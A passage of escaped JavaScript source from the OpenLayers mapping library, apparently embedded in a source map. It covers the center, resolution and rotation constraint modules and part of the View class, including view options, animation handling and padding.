Math.max(0, minX - center[0]) / ratio) +\n ratio * Math.log(1 + Math.max(0, center[0] - maxX) / ratio);\n y +=\n -ratio * Math.log(1 + Math.max(0, minY - center[1]) / ratio) +\n ratio * Math.log(1 + Math.max(0, center[1] - maxY) / ratio);\n }\n return [x, y];\n });\n}\n/**\n * @param {import(\"./coordinate.js\").Coordinate} [center] Center.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} Center.\n */\nexport function none(center) {\n return center;\n}\n//# sourceMappingURL=centerconstraint.js.map","/**\n * @module ol/resolutionconstraint\n */\nimport { clamp } from './math.js';\nimport { getHeight, getWidth } from './extent.js';\nimport { linearFindNearest } from './array.js';\n/**\n * @typedef {function((number|undefined), number, import(\"./size.js\").Size, boolean=): (number|undefined)} Type\n */\n/**\n * Returns a modified resolution taking into account the viewport size and maximum\n * allowed extent.\n * @param {number} resolution Resolution\n * @param {import(\"./extent.js\").Extent} maxExtent Maximum allowed extent.\n * @param {import(\"./size.js\").Size} viewportSize Viewport size.\n * @param {boolean} showFullExtent Whether to show the full extent.\n * @return {number} Capped resolution.\n */\nfunction getViewportClampedResolution(resolution, maxExtent, viewportSize, showFullExtent) {\n var xResolution = getWidth(maxExtent) / viewportSize[0];\n var yResolution = getHeight(maxExtent) / viewportSize[1];\n if (showFullExtent) {\n return Math.min(resolution, Math.max(xResolution, yResolution));\n }\n return Math.min(resolution, Math.min(xResolution, yResolution));\n}\n/**\n * Returns a modified resolution to be between maxResolution and minResolution while\n * still allowing the value to be slightly out of bounds.\n * Note: the computation is based on the logarithm function (ln):\n * - at 1, ln(x) is 0\n * - above 1, ln(x) keeps increasing but at a much slower pace than x\n * The final result is clamped to prevent getting too far away from bounds.\n * @param {number} resolution Resolution.\n * @param {number} maxResolution Max resolution.\n * @param {number} minResolution Min resolution.\n * @return {number} Smoothed resolution.\n */\nfunction getSmoothClampedResolution(resolution, maxResolution, minResolution) {\n var result = Math.min(resolution, maxResolution);\n var ratio = 50;\n result *=\n Math.log(1 + ratio * Math.max(0, resolution / maxResolution - 1)) / ratio +\n 1;\n if (minResolution) {\n result = Math.max(result, minResolution);\n result /=\n Math.log(1 + ratio * Math.max(0, minResolution / resolution - 1)) /\n ratio +\n 1;\n }\n return clamp(result, minResolution / 2, maxResolution * 2);\n}\n/**\n * @param {Array<number>} resolutions Resolutions.\n * @param {boolean} [opt_smooth] If true, the view will be able to slightly exceed resolution limits. Default: true.\n * @param {import(\"./extent.js\").Extent} [opt_maxExtent] Maximum allowed extent.\n * @param {boolean} [opt_showFullExtent] If true, allows us to show the full extent. Default: false.\n * @return {Type} Zoom function.\n */\nexport function createSnapToResolutions(resolutions, opt_smooth, opt_maxExtent, opt_showFullExtent) {\n return (\n /**\n * @param {number|undefined} resolution Resolution.\n * @param {number} direction Direction.\n * @param {import(\"./size.js\").Size} size Viewport size.\n * @param {boolean} [opt_isMoving] True if an interaction or animation is in progress.\n * @return {number|undefined} Resolution.\n */\n function (resolution, direction, size, opt_isMoving) {\n if (resolution !== undefined) {\n var maxResolution = resolutions[0];\n var minResolution = resolutions[resolutions.length - 1];\n var cappedMaxRes = opt_maxExtent\n ? getViewportClampedResolution(maxResolution, opt_maxExtent, size, opt_showFullExtent)\n : maxResolution;\n // during interacting or animating, allow intermediary values\n if (opt_isMoving) {\n var smooth = opt_smooth !== undefined ? opt_smooth : true;\n if (!smooth) {\n return clamp(resolution, minResolution, cappedMaxRes);\n }\n return getSmoothClampedResolution(resolution, cappedMaxRes, minResolution);\n }\n var capped = Math.min(cappedMaxRes, resolution);\n var z = Math.floor(linearFindNearest(resolutions, capped, direction));\n if (resolutions[z] > cappedMaxRes && z < resolutions.length - 1) {\n return resolutions[z + 1];\n }\n return resolutions[z];\n }\n else {\n return undefined;\n }\n });\n}\n/**\n * @param {number} power Power.\n * @param {number} maxResolution Maximum resolution.\n * @param {number} [opt_minResolution] Minimum resolution.\n * @param {boolean} [opt_smooth] If true, the view will be able to slightly exceed resolution limits. Default: true.\n * @param {import(\"./extent.js\").Extent} [opt_maxExtent] Maximum allowed extent.\n * @param {boolean} [opt_showFullExtent] If true, allows us to show the full extent. Default: false.\n * @return {Type} Zoom function.\n */\nexport function createSnapToPower(power, maxResolution, opt_minResolution, opt_smooth, opt_maxExtent, opt_showFullExtent) {\n return (\n /**\n * @param {number|undefined} resolution Resolution.\n * @param {number} direction Direction.\n * @param {import(\"./size.js\").Size} size Viewport size.\n * @param {boolean} [opt_isMoving] True if an interaction or animation is in progress.\n * @return {number|undefined} Resolution.\n */\n function (resolution, direction, size, opt_isMoving) {\n if (resolution !== undefined) {\n var cappedMaxRes = opt_maxExtent\n ? getViewportClampedResolution(maxResolution, opt_maxExtent, size, opt_showFullExtent)\n : maxResolution;\n var minResolution = opt_minResolution !== undefined ? opt_minResolution : 0;\n // during interacting or animating, allow intermediary values\n if (opt_isMoving) {\n var smooth = opt_smooth !== undefined ? opt_smooth : true;\n if (!smooth) {\n return clamp(resolution, minResolution, cappedMaxRes);\n }\n return getSmoothClampedResolution(resolution, cappedMaxRes, minResolution);\n }\n var tolerance = 1e-9;\n var minZoomLevel = Math.ceil(Math.log(maxResolution / cappedMaxRes) / Math.log(power) - tolerance);\n var offset = -direction * (0.5 - tolerance) + 0.5;\n var capped = Math.min(cappedMaxRes, resolution);\n var cappedZoomLevel = Math.floor(Math.log(maxResolution / capped) / Math.log(power) + offset);\n var zoomLevel = Math.max(minZoomLevel, cappedZoomLevel);\n var newResolution = maxResolution / Math.pow(power, zoomLevel);\n return clamp(newResolution, minResolution, cappedMaxRes);\n }\n else {\n return undefined;\n }\n });\n}\n/**\n * @param {number} maxResolution Max resolution.\n * @param {number} minResolution Min resolution.\n * @param {boolean} [opt_smooth] If true, the view will be able to slightly exceed resolution limits. Default: true.\n * @param {import(\"./extent.js\").Extent} [opt_maxExtent] Maximum allowed extent.\n * @param {boolean} [opt_showFullExtent] If true, allows us to show the full extent. Default: false.\n * @return {Type} Zoom function.\n */\nexport function createMinMaxResolution(maxResolution, minResolution, opt_smooth, opt_maxExtent, opt_showFullExtent) {\n return (\n /**\n * @param {number|undefined} resolution Resolution.\n * @param {number} direction Direction.\n * @param {import(\"./size.js\").Size} size Viewport size.\n * @param {boolean} [opt_isMoving] True if an interaction or animation is in progress.\n * @return {number|undefined} Resolution.\n */\n function (resolution, direction, size, opt_isMoving) {\n if (resolution !== undefined) {\n var cappedMaxRes = opt_maxExtent\n ? getViewportClampedResolution(maxResolution, opt_maxExtent, size, opt_showFullExtent)\n : maxResolution;\n var smooth = opt_smooth !== undefined ? opt_smooth : true;\n if (!smooth || !opt_isMoving) {\n return clamp(resolution, minResolution, cappedMaxRes);\n }\n return getSmoothClampedResolution(resolution, cappedMaxRes, minResolution);\n }\n else {\n return undefined;\n }\n });\n}\n//# sourceMappingURL=resolutionconstraint.js.map","/**\n * @module ol/rotationconstraint\n */\nimport { toRadians } from './math.js';\n/**\n * @typedef {function((number|undefined), boolean=): (number|undefined)} Type\n */\n/**\n * @param {number|undefined} rotation Rotation.\n * @return {number|undefined} Rotation.\n */\nexport function disable(rotation) {\n if (rotation !== undefined) {\n return 0;\n }\n else {\n return undefined;\n }\n}\n/**\n * @param {number|undefined} rotation Rotation.\n * @return {number|undefined} Rotation.\n */\nexport function none(rotation) {\n if (rotation !== undefined) {\n return rotation;\n }\n else {\n return undefined;\n }\n}\n/**\n * @param {number} n N.\n * @return {Type} Rotation constraint.\n */\nexport function createSnapToN(n) {\n var theta = (2 * Math.PI) / n;\n return (\n /**\n * @param {number|undefined} rotation Rotation.\n * @param {boolean} [opt_isMoving] True if an interaction or animation is in progress.\n * @return {number|undefined} Rotation.\n */\n function (rotation, opt_isMoving) {\n if (opt_isMoving) {\n return rotation;\n }\n if (rotation !== undefined) {\n rotation = Math.floor(rotation / theta + 0.5) * theta;\n return rotation;\n }\n else {\n return undefined;\n }\n });\n}\n/**\n * @param {number} [opt_tolerance] Tolerance.\n * @return {Type} Rotation constraint.\n */\nexport function createSnapToZero(opt_tolerance) {\n var tolerance = opt_tolerance || toRadians(5);\n return (\n /**\n * @param {number|undefined} rotation Rotation.\n * @param {boolean} [opt_isMoving] True if an interaction or animation is in progress.\n * @return {number|undefined} Rotation.\n */\n function (rotation, opt_isMoving) {\n if (opt_isMoving) {\n return rotation;\n }\n if (rotation !== undefined) {\n if (Math.abs(rotation) <= tolerance) {\n return 0;\n }\n else {\n return rotation;\n }\n }\n else {\n return undefined;\n }\n });\n}\n//# sourceMappingURL=rotationconstraint.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/View\n */\nimport BaseObject from './Object.js';\nimport Units from './proj/Units.js';\nimport ViewHint from './ViewHint.js';\nimport ViewProperty from './ViewProperty.js';\nimport { DEFAULT_TILE_SIZE } from './tilegrid/common.js';\nimport { METERS_PER_UNIT, createProjection, disableCoordinateWarning, fromUserCoordinate, fromUserExtent, getUserProjection, toUserCoordinate, toUserExtent, } from './proj.js';\nimport { VOID } from './functions.js';\nimport { add as addCoordinate, equals as coordinatesEqual, equals, rotate as rotateCoordinate, } from './coordinate.js';\nimport { assert } from './asserts.js';\nimport { assign } from './obj.js';\nimport { none as centerNone, createExtent } from './centerconstraint.js';\nimport { clamp, modulo } from './math.js';\nimport { createMinMaxResolution, createSnapToPower, createSnapToResolutions, } from './resolutionconstraint.js';\nimport { createSnapToN, createSnapToZero, disable, none as rotationNone, } from './rotationconstraint.js';\nimport { easeOut, inAndOut } from './easing.js';\nimport { getCenter, getForViewAndSize, getHeight, getWidth, isEmpty, } from './extent.js';\nimport { linearFindNearest } from './array.js';\nimport { fromExtent as polygonFromExtent } from './geom/Polygon.js';\n/**\n * An animation configuration\n *\n * @typedef {Object} Animation\n * @property {import(\"./coordinate.js\").Coordinate} [sourceCenter] Source center.\n * @property {import(\"./coordinate.js\").Coordinate} [targetCenter] Target center.\n * @property {number} [sourceResolution] Source resolution.\n * @property {number} [targetResolution] Target resolution.\n * @property {number} [sourceRotation] Source rotation.\n * @property {number} [targetRotation] Target rotation.\n * @property {import(\"./coordinate.js\").Coordinate} [anchor] Anchor.\n * @property {number} start Start.\n * @property {number} duration Duration.\n * @property {boolean} complete Complete.\n * @property {function(number):number} easing Easing.\n * @property {function(boolean):void} callback Callback.\n */\n/**\n * @typedef {Object} Constraints\n * @property {import(\"./centerconstraint.js\").Type} center Center.\n * @property {import(\"./resolutionconstraint.js\").Type} resolution Resolution.\n * @property {import(\"./rotationconstraint.js\").Type} rotation Rotation.\n */\n/**\n * @typedef {Object} FitOptions\n * @property {import(\"./size.js\").Size} [size] The size in pixels of the box to fit\n * the extent into. Default is the current size of the first map in the DOM that\n * uses this view, or `[100, 100]` if no such map is found.\n * @property {!Array<number>} [padding=[0, 0, 0, 0]] Padding (in pixels) to be\n * cleared inside the view. Values in the array are top, right, bottom and left\n * padding.\n * @property {boolean} [nearest=false] If the view `constrainResolution` option is `true`,\n * get the nearest extent instead of the closest that actually fits the view.\n * @property {number} [minResolution=0] Minimum resolution that we zoom to.\n * @property {number} [maxZoom] Maximum zoom level that we zoom to. If\n * `minResolution` is given, this property is ignored.\n * @property {number} [duration] The duration of the animation in milliseconds.\n * By default, there is no animation to the target extent.\n * @property {function(number):number} [easing] The easing function used during\n * the animation (defaults to {@link module:ol/easing.inAndOut}).\n * The function will be called for each frame with a number representing a\n * fraction of the animation's duration. The function should return a number\n * between 0 and 1 representing the progress toward the destination state.\n * @property {function(boolean):void} [callback] Function called when the view is in\n * its final position. The callback will be called with `true` if the animation\n * series completed on its own or `false` if it was cancelled.\n */\n/**\n * @typedef {Object} ViewOptions\n * @property {import(\"./coordinate.js\").Coordinate} [center] The initial center for\n * the view. If a user projection is not set, the coordinate system for the center is\n * specified with the `projection` option. Layer sources will not be fetched if this\n * is not set, but the center can be set later with {@link #setCenter}.\n * @property {boolean|number} [constrainRotation=true] Rotation constraint.\n * `false` means no constraint. `true` means no constraint, but snap to zero\n * near zero. A number constrains the rotation to that number of values. For\n * example, `4` will constrain the rotation to 0, 90, 180, and 270 degrees.\n * @property {boolean} [enableRotation=true] Enable rotation.\n * If `false`, a rotation constraint that always sets the rotation to zero is\n * used. The `constrainRotation` option has no effect if `enableRotation` is\n * `false`.\n * @property {import(\"./extent.js\").Extent} [extent] The extent that constrains the\n * view, in other words, nothing outside of this extent can be visible on the map.\n * @property {boolean} [constrainOnlyCenter=false] If true, the extent\n * constraint will only apply to the view center and not the whole extent.\n * @property {boolean} [smoothExtentConstraint=true] If true, the extent\n * constraint will be applied smoothly, i.e. allow the view to go slightly outside\n * of the given `extent`.\n * @property {number} [maxResolution] The maximum resolution used to determine\n * the resolution constraint. It is used together with `minResolution` (or\n * `maxZoom`) and `zoomFactor`. If unspecified it is calculated in such a way\n * that the projection's validity extent fits in a 256x256 px tile. If the\n * projection is Spherical Mercator (the default) then `maxResolution` defaults\n * to `40075016.68557849 / 256 = 156543.03392804097`.\n * @property {number} [minResolution] The minimum resolution used to determine\n * the resolution constraint. It is used together with `maxResolution` (or\n * `minZoom`) and `zoomFactor`. If unspecified it is calculated assuming 29\n * zoom levels (with a factor of 2). If the projection is Spherical Mercator\n * (the default) then `minResolution` defaults to\n * `40075016.68557849 / 256 / Math.pow(2, 28) = 0.0005831682455839253`.\n * @property {number} [maxZoom=28] The maximum zoom level used to determine the\n * resolution constraint. It is used together with `minZoom` (or\n * `maxResolution`) and `zoomFactor`. Note that if `minResolution` is also\n * provided, it is given precedence over `maxZoom`.\n * @property {number} [minZoom=0] The minimum zoom level used to determine the\n * resolution constraint. It is used together with `maxZoom` (or\n * `minResolution`) and `zoomFactor`. Note that if `maxResolution` is also\n * provided, it is given precedence over `minZoom`.\n * @property {boolean} [multiWorld=false] If `false` the view is constrained so\n * only one world is visible, and you cannot pan off the edge. If `true` the map\n * may show multiple worlds at low zoom levels. Only used if the `projection` is\n * global. Note that if `extent` is also provided it is given precedence.\n * @property {boolean} [constrainResolution=false] If true, the view will always\n * animate to the closest zoom level after an interaction; false means\n * intermediary zoom levels are allowed.\n * @property {boolean} [smoothResolutionConstraint=true] If true, the resolution\n * min/max values will be applied smoothly, i. e. allow the view to exceed slightly\n * the given resolution or zoom bounds.\n * @property {boolean} [showFullExtent=false] Allow the view to be zoomed out to\n * show the full configured extent. By default, when a view is configured with an\n * extent, users will not be able to zoom out so the viewport exceeds the extent in\n * either dimension. This means the full extent may not be visible if the viewport\n * is taller or wider than the aspect ratio of the configured extent. If\n * showFullExtent is true, the user will be able to zoom out so that the viewport\n * exceeds the height or width of the configured extent, but not both, allowing the\n * full extent to be shown.\n * @property {import(\"./proj.js\").ProjectionLike} [projection='EPSG:3857'] The\n * projection. The default is Spherical Mercator.\n * @property {number} [resolution] The initial resolution for the view. The\n * units are `projection` units per pixel (e.g. meters per pixel). An\n * alternative to setting this is to set `zoom`. Layer sources will not be\n * fetched if neither this nor `zoom` are defined, but they can be set later\n * with {@link #setZoom} or {@link #setResolution}.\n * @property {Array<number>} [resolutions] Resolutions that determine the\n * zoom levels if specified. The index in the array corresponds to the zoom level,\n * therefore the resolution values have to be in descending order. It also constrains\n * the resolution by the minimum and maximum value. If set the `maxResolution`,\n * `minResolution`, `minZoom`, `maxZoom`, and `zoomFactor` options are ignored.\n * @property {number} [rotation=0] The initial rotation for the view in radians\n * (positive rotation clockwise, 0 means North).\n * @property {number} [zoom] Only used if `resolution` is not defined. Zoom\n * level used to calculate the initial resolution for the view.\n * @property {number} [zoomFactor=2] The zoom factor used to compute the\n * corresponding resolution.\n * @property {!Array<number>} [padding=[0, 0, 0, 0]] Padding (in css pixels).\n * If the map viewport is partially covered with other content (overlays) along\n * its edges, this setting allows to shift the center of the viewport away from\n * that content. The order of the values is top, right, bottom, left.\n */\n/**\n * @typedef {Object} AnimationOptions\n * @property {import(\"./coordinate.js\").Coordinate} [center] The center of the view at the end of\n * the animation.\n * @property {number} [zoom] The zoom level of the view at the end of the\n * animation. This takes precedence over `resolution`.\n * @property {number} [resolution] The resolution of the view at the end\n * of the animation. If `zoom` is also provided, this option will be ignored.\n * @property {number} [rotation] The rotation of the view at the end of\n * the animation.\n * @property {import(\"./coordinate.js\").Coordinate} [anchor] Optional anchor to remain fixed\n * during a rotation or resolution animation.\n * @property {number} [duration=1000] The duration of the animation in milliseconds.\n * @property {function(number):number} [easing] The easing function used\n * during the animation (defaults to {@link module:ol/easing.inAndOut}).\n * The function will be called for each frame with a number representing a\n * fraction of the animation's duration. The function should return a number\n * between 0 and 1 representing the progress toward the destination state.\n */\n/**\n * @typedef {Object} State\n * @property {import(\"./coordinate.js\").Coordinate} center Center.\n * @property {import(\"./proj/Projection.js\").default} projection Projection.\n * @property {number} resolution Resolution.\n * @property {import(\"./coordinate.js\").Coordinate} [nextCenter] The next center during an animation series.\n * @property {number} [nextResolution] The next resolution during an animation series.\n * @property {number} [nextRotation] The next rotation during an animation series.\n * @property {number} rotation Rotation.\n * @property {number} zoom Zoom.\n */\n/**\n * Default min zoom level for the map view.\n * @type {number}\n */\nvar DEFAULT_MIN_ZOOM = 0;\n/**\n * @typedef {import(\"./ObjectEventType\").Types|'change:center'|'change:resolution'|'change:rotation'} ViewObjectEventTypes\n */\n/***\n * @template Return\n * @typedef {import(\"./Observable\").OnSignature<import(\"./Observable\").EventTypes, import(\"./events/Event.js\").default, Return> &\n * import(\"./Observable\").OnSignature<ViewObjectEventTypes, import(\"./Object\").ObjectEvent, Return> &\n * import(\"./Observable\").CombinedOnSignature<import(\"./Observable\").EventTypes|ViewObjectEventTypes, Return>} ViewOnSignature\n */\n/**\n * @classdesc\n * A View object represents a simple 2D view of the map.\n *\n * This is the object to act upon to change the center, resolution,\n * and rotation of the map.\n *\n * A View has a `projection`. The projection determines the\n * coordinate system of the center, and its units determine the units of the\n * resolution (projection units per pixel). The default projection is\n * Web Mercator (EPSG:3857).\n *\n * ### The view states\n *\n * A View is determined by three states: `center`, `resolution`,\n * and `rotation`. Each state has a corresponding getter and setter, e.g.\n * `getCenter` and `setCenter` for the `center` state.\n *\n * The `zoom` state is actually not saved on the view: all computations\n * internally use the `resolution` state. Still, the `setZoom` and `getZoom`\n * methods are available, as well as `getResolutionForZoom` and\n * `getZoomForResolution` to switch from one system to the other.\n *\n * ### The constraints\n *\n * `setCenter`, `setResolution` and `setRotation` can be used to change the\n * states of the view, but any constraint defined in the constructor will\n * be applied along the way.\n *\n * A View object can have a *resolution constraint*, a *rotation constraint*\n * and a *center constraint*.\n *\n * The *resolution constraint* typically restricts min/max values and\n * snaps to specific resolutions. It is determined by the following\n * options: `resolutions`, `maxResolution`, `maxZoom` and `zoomFactor`.\n * If `resolutions` is set, the other three options are ignored. See\n * documentation for each option for more information. By default, the view\n * only has a min/max restriction and allow intermediary zoom levels when\n * pinch-zooming for example.\n *\n * The *rotation constraint* snaps to specific angles. It is determined\n * by the following options: `enableRotation` and `constrainRotation`.\n * By default rotation is allowed and its value is snapped to zero when approaching the\n * horizontal.\n *\n * The *center constraint* is determined by the `extent` option. By\n * default the view center is not constrained at all.\n *\n * ### Changing the view state\n *\n * It is important to note that `setZoom`, `setResolution`, `setCenter` and\n * `setRotation` are subject to the above mentioned constraints. As such, it\n * may sometimes not be possible to know in advance the resulting state of the\n * View. For example, calling `setResolution(10)` does not guarantee that\n * `getResolution()` will return `10`.\n *\n * A consequence of this is that, when applying a delta on the view state, one\n * should use `adjustCenter`, `adjustRotation`, `adjustZoom` and `adjustResolution`\n * rather than the corresponding setters. This will let view do its internal\n * computations. Besides, the `adjust*` methods also take an `opt_anchor`\n * argument which allows specifying an origin for the transformation.\n *\n * ### Interacting with the view\n *\n * View constraints are usually only applied when the view is *at rest*, meaning that\n * no interaction or animation is ongoing. As such, if the user puts the view in a\n * state that is not equivalent to a constrained one (e.g. rotating the view when\n * the snap angle is 0), an animation will be triggered at the interaction end to\n * put back the view to a stable state;\n *\n * @api\n */\nvar View = /** @class */ (function (_super) {\n __extends(View, _super);\n /**\n * @param {ViewOptions} [opt_options] View options.\n */\n function View(opt_options) {\n var _this = _super.call(this) || this;\n /***\n * @type {ViewOnSignature<import(\"./events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {ViewOnSignature<import(\"./events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {ViewOnSignature<void>}\n */\n _this.un;\n var options = assign({}, opt_options);\n /**\n * @private\n * @type {Array<number>}\n */\n _this.hints_ = [0, 0];\n /**\n * @private\n * @type {Array<Array<Animation>>}\n */\n _this.animations_ = [];\n /**\n * @private\n * @type {number|undefined}\n */\n _this.updateAnimationKey_;\n /**\n * @private\n * @const\n * @type {import(\"./proj/Projection.js\").default}\n */\n _this.projection_ = createProjection(options.projection, 'EPSG:3857');\n /**\n * @private\n * @type {import(\"./size.js\").Size}\n */\n _this.viewportSize_ = [100, 100];\n /**\n * @private\n * @type {import(\"./coordinate.js\").Coordinate|undefined}\n */\n _this.targetCenter_ = null;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.targetResolution_;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.targetRotation_;\n /**\n * @private\n * @type {import(\"./coordinate.js\").Coordinate}\n */\n _this.nextCenter_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.nextResolution_;\n /**\n * @private\n * @type {number}\n */\n _this.nextRotation_;\n /**\n * @private\n * @type {import(\"./coordinate.js\").Coordinate|undefined}\n */\n _this.cancelAnchor_ = undefined;\n if (options.projection) {\n disableCoordinateWarning();\n }\n if (options.center) {\n options.center = fromUserCoordinate(options.center, _this.projection_);\n }\n if (options.extent) {\n options.extent = fromUserExtent(options.extent, _this.projection_);\n }\n _this.applyOptions_(options);\n return _this;\n }\n /**\n * Set up the view with the given options.\n * @param {ViewOptions} options View options.\n */\n View.prototype.applyOptions_ = function (options) {\n var properties = assign({}, options);\n for (var key in ViewProperty) {\n delete properties[key];\n }\n this.setProperties(properties, true);\n var resolutionConstraintInfo = createResolutionConstraint(options);\n /**\n * @private\n * @type {number}\n */\n this.maxResolution_ = resolutionConstraintInfo.maxResolution;\n /**\n * @private\n * @type {number}\n */\n this.minResolution_ = resolutionConstraintInfo.minResolution;\n /**\n * @private\n * @type {number}\n */\n this.zoomFactor_ = resolutionConstraintInfo.zoomFactor;\n /**\n * @private\n * @type {Array<number>|undefined}\n */\n this.resolutions_ = options.resolutions;\n /**\n * @type {Array<number>|undefined}\n * @private\n */\n this.padding_ = options.padding;\n /**\n * @private\n * @type {number}\n */\n this.minZoom_ = resolutionConstraintInfo.minZoom;\n var centerConstraint = createCenterConstraint(options);\n var resolutionConstraint = resolutionConstraintInfo.constraint;\n var rotationConstraint = createRotationConstraint(options);\n /**\n * @private\n * @type {Constraints}\n */\n this.constraints_ = {\n center: centerConstraint,\n resolution: resolutionConstraint,\n rotation: rotationConstraint,\n };\n this.setRotation(options.rotation !== undefined ? options.rotation : 0);\n this.setCenterInternal(options.center !== undefined ? options.center : null);\n if (options.resolution !== undefined) {\n this.setResolution(options.resolution);\n }\n else if (options.zoom !== undefined) {\n this.setZoom(options.zoom);\n }\n };\n Object.defineProperty(View.prototype, \"padding\", {\n /**\n * Padding (in css pixels).\n * If the map viewport is partially covered with other content (overlays) along\n * its edges, this setting allows to shift the center of the viewport away from that\n * content. The order of the values in the array is top, right, bottom, left.\n * The default is no padding, which is equivalent to `[0, 0, 0, 0]`.\n * @type {Array<number>|undefined}\n * @api\n */\n get: function () {\n return this.padding_;\n },\n set: function (padding) {\n var oldPadding = this.padding_;\n this.padding_ = padding;\n var center = this.getCenter();\n if (center) {\n var newPadding = padding || [0, 0, 0, 0];\n oldPadding = oldPadding || [0, 0, 0, 0];\n var resolution = this.getResolution();\n var offsetX = (resolution / 2) *\n (newPadding[3] - oldPadding[3] + oldPadding[1] - newPadding[1]);\n var offsetY = (resolution / 2) *\n (newPadding[0] - oldPadding[0] + oldPadding[2] - newPadding[2]);\n this.setCenterInternal([center[0] + offsetX, center[1] - offsetY]);\n }\n },\n enumerable: false,\n configurable: true\n });\n /**\n * Get an updated version of the view options used to construct the view. The\n * current resolution (or zoom), center, and rotation are applied to any stored\n * options. The provided options can be used to apply new min/max zoom or\n * resolution limits.\n * @param {ViewOptions} newOptions New options to be applied.\n * @return {ViewOptions} New options updated with the current view state.\n */\n View.prototype.getUpdatedOptions_ = function (newOptions) {\n var options = this.getProperties();\n // preserve resolution (or zoom)\n if (options.resolution !== undefined) {\n options.resolution = this.getResolution();\n }\n else {\n options.zoom = this.getZoom();\n }\n // preserve center\n options.center = this.getCenterInternal();\n // preserve rotation\n options.rotation = this.getRotation();\n return assign({}, options, newOptions);\n };\n /**\n * Animate the view. The view's center, zoom (or resolution), and rotation\n * can be animated for smooth transitions between view states. For example,\n * to animate the view to a new zoom level:\n *\n * view.animate({zoom: view.getZoom() + 1});\n *\n * By default, the animation lasts one second and uses in-and-out easing. You\n * can customize this behavior by including `duration` (in milliseconds) and\n * `easing` options (see {@link module:ol/easing}).\n *\n * To chain together multiple animations, call the method with multiple\n * animation objects. For example, to first zoom and then pan:\n *\n * view.animate({zoom: 10}, {center: [0, 0]});\n *\n * If you provide a function as the last argument to the animate method, it\n * will get called at the end of an animation series. The callback will be\n * called with `true` if the animation series completed on its own or `false`\n * if it was cancelled.\n *\n * Animations are cancelled by user interactions (e.g. dragging the map) or by\n * calling `view.setCenter()`, `view.setResolution()`, or `view.setRotation()`\n * (or another method that calls one of these).\n *\n * @param {...(AnimationOptions|function(boolean): void)} var_args Animation\n * options. Multiple animations can be run in series by passing multiple\n * options objects. To run multiple animations in parallel, call the method\n * multiple times. An optional callback can be provided as a final\n * argument. The callback will be called with a boolean indicating whether\n * the animation completed without being cancelled.\n * @api\n */\n View.prototype.animate = function (var_args) {\n if (this.isDef() && !this.getAnimating()) {\n this.resolveConstraints(0);\n }\n var args = new Array(arguments.length);\n for (var i = 0; i < args.length; ++i) {\n var options = arguments[i];\n if (options.center) {\n options = assign({}, options);\n options.center = fromUserCoordinate(options.center, this.getProjection());\n }\n if (options.anchor) {\n options = assign({}, options);\n options.anchor = fromUserCoordinate(options.anchor, this.getProjection());\n }\n args[i] = options;\n }\n this.animateInternal.apply(this, args);\n };\n /**\n * @param {...(AnimationOptions|function(boolean): void)} var_args Animation options.\n */\n View.prototype.animateInternal = function (var_args) {\n var animationCount = arguments.length;\n var callback;\n if (animationCount > 1 &&\n typeof arguments[animationCount - 1] === 'function') {\n callback = arguments[animationCount - 1];\n --animationCount;\n }\n var i = 0;\n for (; i < animationCount && !this.isDef(); ++i) {\n // if view properties are not yet set, shortcut to the final state\n var state = arguments[i];\n if (state.center) {\n this.setCenterInternal(state.center);\n }\n if (state.zoom !== undefined) {\n this.setZoom(state.zoom);\n }\n else if (state.resolution) {\n this.setResolution(state.resolution);\n }\n if (state.rotation !== undefined) {\n this.setRotation(state.rotation);\n }\n }\n if (i === animationCount) {\n if (callback) {\n animationCallback(callback, true);\n }\n return;\n }\n var start = Date.now();\n var center = this.targetCenter_.slice();\n var resolution = this.targetResolution_;\n var rotation = this.targetRotation_;\n var series = [];\n for (; i < animationCount; ++i) {\n var options = /** @type {AnimationOptions} */ (arguments[i]);\n var animation = {\n start: start,\n complete: false,\n anchor: options.anchor,\n duration: options.duration !== undefined ? options.duration : 1000,\n easing: options.easing || inAndOut,\n callback: callback,\n };\n if (options.center) {\n animation.sourceCenter = center;\n animation.targetCenter = options.center.slice();\n center = animation.targetCenter;\n }\n if (options.zoom !== undefined) {\n animation.sourceResolution = resolution;\n animation.targetResolution = this.getResolutionForZoom(options.zoom);\n resolution = animation.targetResolution;\n }\n else if (options.resolution) {\n animation.sourceResolution = resolution;\n animation.targetResolution = options.resolution;\n resolution = animation.targetResolution;\n }\n if (options.rotation !== undefined) {\n animation.sourceRotation = rotation;\n var delta = modulo(options.rotation - rotation + Math.PI, 2 * Math.PI) - Math.PI;\n animation.targetRotation = rotation + delta;\n rotation = animation.targetRotation;\n }\n // check if animation is a no-op\n if (isNoopAnimation(animation)) {\n animation.complete = true;\n // we still push it onto the series for callback handling\n }\n else {\n start += animation.duration;\n }\n series.push(animation);\n }\n this.animations_.push(series);\n this.setHint(ViewHint.ANIMATING, 1);\n this.updateAnimations_();\n };\n /**\n * Determine if the view is being animated.\n * @return {boolean} The view is being animated.\n * @api\n */\n View.prototype.getAnimating = function () {\n return this.hints_[ViewHint.ANIMATING] > 0;\n };\n /**\n * Determine if the user is interacting with the view, such as panning or zooming.\n * @return {boolean} The view is being interacted with.\n * @api\n */\n View.prototype.getInteracting = function () {\n return this.hints_[ViewHint.INTERACTING] > 0;\n };\n /**\n * Cancel any ongoing animations.\n * @api\n */\n View.prototype.cancelAnimations = function () {\n this.setHint(ViewHint.ANIMATING, -this.hints_[ViewHint.ANIMATING]);\n var anchor;\n for (var i = 0, ii = this.animations_.length; i < ii; ++i) {\n var series = this.animations_[i];\n if (series[0].callback) {\n animationCallback(series[0].callback, false);\n }\n if (!anchor) {\n for (var j = 0, jj = series.length; j < jj; ++j) {\n var animation = series[j];\n if (!animation.complete) {\n anchor = animation.anchor;\n break;\n }\n }\n }\n }\n this.animations_.length = 0;\n 